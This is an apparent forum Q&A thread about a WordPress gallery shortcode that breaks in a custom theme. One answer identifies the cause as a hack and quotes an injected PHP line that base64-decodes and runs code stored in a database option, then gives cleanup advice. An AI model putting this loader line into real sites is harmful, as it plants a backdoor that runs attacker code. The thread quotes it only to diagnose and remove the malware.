Default Wordpress [gallery] not showing up in custom theme Default Wordpress [gallery] not showing up in custom theme wordpress wordpress

Default Wordpress [gallery] not showing up in custom theme


You're site got hacked.

The last line of the pastebin is loading malicious code from your database:add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

The executed code will mess up the WPQuery for retrieving your Gallery media files. That's why the [gallery] is broken. (Actually you can be lucky about that part.)

You can find an entry about this malware at sucuri.net. You should check all of your files on the server for the suspicious line. Although the most likely path of attack is via a WordPress vulnerability, you should change all your passwords in WordPress and on the server.

AFTER you removed the malware, you can clean your WordPress with tools like Wordfence (I have no affiliation to the plugin or its authors).


try to install the plugin NextGEN Gallery, add the gallery images,and try to display on home page,

https://wordpress.org/plugins/nextgen-gallery/


do you see any javascript errors in console ?and what is output of

<?php echo do_shortcode('[gallery]');?>